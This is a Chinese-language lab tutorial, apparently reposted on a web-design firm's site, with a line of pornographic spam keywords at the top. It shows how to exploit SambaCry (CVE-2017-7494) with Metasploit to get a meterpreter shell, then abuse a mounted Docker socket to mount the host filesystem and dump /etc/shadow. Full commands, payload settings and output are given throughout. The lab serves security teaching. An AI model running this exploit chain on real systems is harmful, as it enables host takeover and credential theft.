真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

如何利用Docker容器的不安全部署獲取宿主機(jī)權(quán)限

這篇文章主要介紹“如何利用Docker容器的不安全部署獲取宿主機(jī)權(quán)限”,在日常操作中,相信很多人在如何利用Docker容器的不安全部署獲取宿主機(jī)權(quán)限問題上存在疑惑,小編查閱了各式資料,整理出簡(jiǎn)單好用的操作方法,希望對(duì)大家解答”如何利用Docker容器的不安全部署獲取宿主機(jī)權(quán)限”的疑惑有所幫助!接下來(lái),請(qǐng)跟著小編一起來(lái)學(xué)習(xí)吧!

創(chuàng)新互聯(lián)公司專注為客戶提供全方位的互聯(lián)網(wǎng)綜合服務(wù),包含不限于成都網(wǎng)站建設(shè)、成都網(wǎng)站制作、遂昌網(wǎng)絡(luò)推廣、小程序開發(fā)、遂昌網(wǎng)絡(luò)營(yíng)銷、遂昌企業(yè)策劃、遂昌品牌公關(guān)、搜索引擎seo、人物專訪、企業(yè)宣傳片、企業(yè)代運(yùn)營(yíng)等,從售前售中售后,我們都將竭誠(chéng)為您服務(wù),您的肯定,是我們最大的嘉獎(jiǎng);創(chuàng)新互聯(lián)公司為所有大學(xué)生創(chuàng)業(yè)者提供遂昌建站搭建服務(wù),24小時(shí)服務(wù)熱線:18982081108,官方網(wǎng)址:www.cdcxhl.com

實(shí)驗(yàn)環(huán)境設(shè)置

由于我們將使用容器,因此你必須安裝docker。

創(chuàng)建網(wǎng)絡(luò)

首先,我們?cè)趧?chuàng)建容器的地方創(chuàng)建一個(gè)docker網(wǎng)絡(luò):

docker network create pwnage

啟動(dòng)易受攻擊的容器

在本示例中,我將使用受SambaCry漏洞(CVE-2017-7494)影響的容器。有關(guān)該漏洞的更多信息,可以參閱opsxcq/exploit-CVE-2017-7494。

此漏洞允許你在Samba服務(wù)器中遠(yuǎn)程代碼執(zhí)行,我們將docker socket添加到容器中,以下是一個(gè)濫用docker的示例。

docker run --rm -it \
       --name vulnerable \
       --network pwnage \
       -v '/var/run/docker.sock:/var/run/docker.sock' \
       vulnerables/cve-2017-7494

啟動(dòng)攻擊機(jī)

實(shí)驗(yàn)環(huán)境設(shè)置完成后,接下來(lái)我們需要將攻擊者的主機(jī)添加到網(wǎng)絡(luò)中。Samba Cry存儲(chǔ)庫(kù)中有一個(gè)漏洞利用代碼,但這里我將使用Metasploit,因?yàn)樗菀咨蟼魑宜璧膬?nèi)容。我已經(jīng)為此構(gòu)建了一個(gè)映像,只需運(yùn)行bellow命令,所有內(nèi)容都將根據(jù)實(shí)驗(yàn)環(huán)境需要運(yùn)行:

docker run --rm -it \
       --network pwnage \
       -v '/usr/bin/docker:/docker:ro' \
       strm/metasploit

加載完成后,你將看到如下界面。

如何利用Docker容器的不安全部署獲取宿主機(jī)權(quán)限

攻擊利用

信息收集

在任何攻擊或測(cè)試中,信息收集都是必不可少的一個(gè)環(huán)節(jié)。因此,讓我們先來(lái)ping下易受攻擊的容器檢查下當(dāng)前的連接情況。

ping -c 2 vulnerable

如果一切正常,你應(yīng)該能看到以下輸出信息。

msf5 > ping -c 2 vulnerable 
[*] exec: ping -c 2 vulnerable 

PING vulnerable (172.20.0.2) 56(84) bytes of data.
64 bytes from vulnerable.pwnage (172.20.0.2): icmp_seq=1 ttl=64 time=0.120 ms
64 bytes from vulnerable.pwnage (172.20.0.2): icmp_seq=2 ttl=64 time=0.097 ms

--- vulnerable ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1009ms
rtt min/avg/max/mdev = 0.097/0.108/0.120/0.015 ms

然后,我們進(jìn)行基本的smb共享枚舉:

use auxiliary/scanner/smb/smb_enumshares
set rhosts vulnerable
run

輸出結(jié)果如下:

msf5 > use auxiliary/scanner/smb/smb_enumshares
msf5 auxiliary(scanner/smb/smb_enumshares) > set rhosts vulnerable
rhosts => vulnerable
msf5 auxiliary(scanner/smb/smb_enumshares) > run

[+] 172.20.0.2:139        - data - (DS) Data
[+] 172.20.0.2:139        - IPC$ - (I) IPC Service (Crying samba)
[*] vulnerable:           - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

可以看到,這個(gè)samba服務(wù)器中有一個(gè)名為data的共享。

獲取shell

下一步我們要做的是,針對(duì)宿主機(jī)運(yùn)行漏洞利用程序獲取shell。在Metasploit中,該漏洞名為is_known_pipename,位于exploit/linux/samba/is_known_pipename。

運(yùn)行bellow命令攻擊宿主機(jī):

use exploit/linux/samba/is_known_pipename
set RHOST vulnerable
set RPORT 445
set payload linux/x64/meterpreter/bind_tcp
set TARGET 3
set SMB_FOLDER data
set SMBUser sambacry
set SMBPass nosambanocry
exploit

如果一切順利,你將獲取到一個(gè)meterpreter shell。如下:

msf5 > use exploit/linux/samba/is_known_pipename
msf5 exploit(linux/samba/is_known_pipename) > set RHOST vulnerable
RHOST => vulnerable
msf5 exploit(linux/samba/is_known_pipename) > set RPORT 445
RPORT => 445
msf5 exploit(linux/samba/is_known_pipename) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf5 exploit(linux/samba/is_known_pipename) > set TARGET 3
TARGET => 3
msf5 exploit(linux/samba/is_known_pipename) > set SMB_FOLDER data
SMB_FOLDER => data
msf5 exploit(linux/samba/is_known_pipename) > set SMBUser sambacry
SMBUser => sambacry
msf5 exploit(linux/samba/is_known_pipename) > set SMBPass nosambanocry
SMBPass => nosambanocry
msf5 exploit(linux/samba/is_known_pipename) > exploit

[*] vulnerable:445 - Using location \\vulnerable\data\ for the path
[*] vulnerable:445 - Retrieving the remote path of the share 'data'
[*] vulnerable:445 - Share 'data' has server-side path '/data
[*] vulnerable:445 - Uploaded payload to \\vulnerable\data\shyyEPPk.so
[*] vulnerable:445 - Loading the payload from server-side path /data/shyyEPPk.so using \\PIPE\/data/shyyEPPk.so...
[-] vulnerable:445 -   >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] vulnerable:445 - Loading the payload from server-side path /data/shyyEPPk.so using /data/shyyEPPk.so...
[-] vulnerable:445 -   >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] Started bind TCP handler against vulnerable:4444
[*] Sending stage (816260 bytes) to vulnerable

meterpreter >

提權(quán)

我們將通過濫用容器內(nèi)可用的docker socket來(lái)提權(quán)。由于docker在宿主機(jī)上是以root身份運(yùn)行的,因此它也具有root權(quán)限。我們可以濫用它來(lái)執(zhí)行多項(xiàng)操作。例如,使用--privileged選項(xiàng)可以為我們提供許多擴(kuò)展功能,以下是從docker官方文檔中提取的解釋文本:

默認(rèn)情況下,Docker的容器是沒有特權(quán)的,例如不能在容器中再啟動(dòng)一個(gè)容器。這是因?yàn)槟J(rèn)情況下容器是不能訪問任何其它設(shè)備的。但是通過"privileged",容器就擁有了訪問任何其它設(shè)備的權(quán)限。當(dāng)操作者執(zhí)行docker run --privileged時(shí),Docker將擁有訪問主機(jī)所有設(shè)備的權(quán)限,同時(shí)Docker也會(huì)在apparmor或者selinux做一些設(shè)置,使容器可以容易的訪問那些運(yùn)行在容器外部的設(shè)備。

你可以使用--device選項(xiàng)訪問設(shè)備。但在本示例中,我將映射toor文件系統(tǒng) (/) 到容器中并訪問它。

由于此容器中沒有docker客戶端,因此下一步我們要做的就是在目標(biāo)容器中設(shè)置docker客戶端及其依賴項(xiàng)。你只需運(yùn)行以下命令,即可完成所有這些操作。

upload /docker /docker
upload /usr/lib/x86_64-linux-gnu/libltdl.so.7 /usr/lib/x86_64-linux-gnu/libltdl.so.7
chmod 777 /docker
chmod +x /docker
meterpreter > upload /docker /docker
[*] uploading  : /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] uploaded   : /docker -> /docker
meterpreter > upload /usr/lib/x86_64-linux-gnu/libltdl.so.7 /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] uploading  : /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] Uploaded -1.00 B of 38.47 KiB (-0.0%): /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] uploaded   : /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
meterpreter > chmod 777 /docker
meterpreter > chmod +x /docker
meterpreter >

現(xiàn)在,我們就可以使用docker來(lái)訪問宿主機(jī)上的文件系統(tǒng)了。

execute -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow"

我們來(lái)轉(zhuǎn)儲(chǔ)下本地用戶的哈希,輸出結(jié)果如下:

meterpreter > execute -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow"
Process 113 created.
Channel 13 created.
root:$1$UFKdtFGw$qp29y1qGWit/vnvIG0uSr1:17488:0:99999:7:::
daemon:*:17488:0:99999:7:::
bin:*:17488:0:99999:7:::
sys:*:17488:0:99999:7:::
sync:*:17488:0:99999:7:::
games:*:17488:0:99999:7:::
man:*:17488:0:99999:7:::
lp:*:17488:0:99999:7:::
mail:*:17488:0:99999:7:::
news:*:17488:0:99999:7:::

到此,關(guān)于“如何利用Docker容器的不安全部署獲取宿主機(jī)權(quán)限”的學(xué)習(xí)就結(jié)束了,希望能夠解決大家的疑惑。理論與實(shí)踐的搭配能更好的幫助大家學(xué)習(xí),快去試試吧!若想繼續(xù)學(xué)習(xí)更多相關(guān)知識(shí),請(qǐng)繼續(xù)關(guān)注創(chuàng)新互聯(lián)網(wǎng)站,小編會(huì)繼續(xù)努力為大家?guī)?lái)更多實(shí)用的文章!


網(wǎng)站欄目:如何利用Docker容器的不安全部署獲取宿主機(jī)權(quán)限
地址分享:http://weahome.cn/article/ghchdp.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部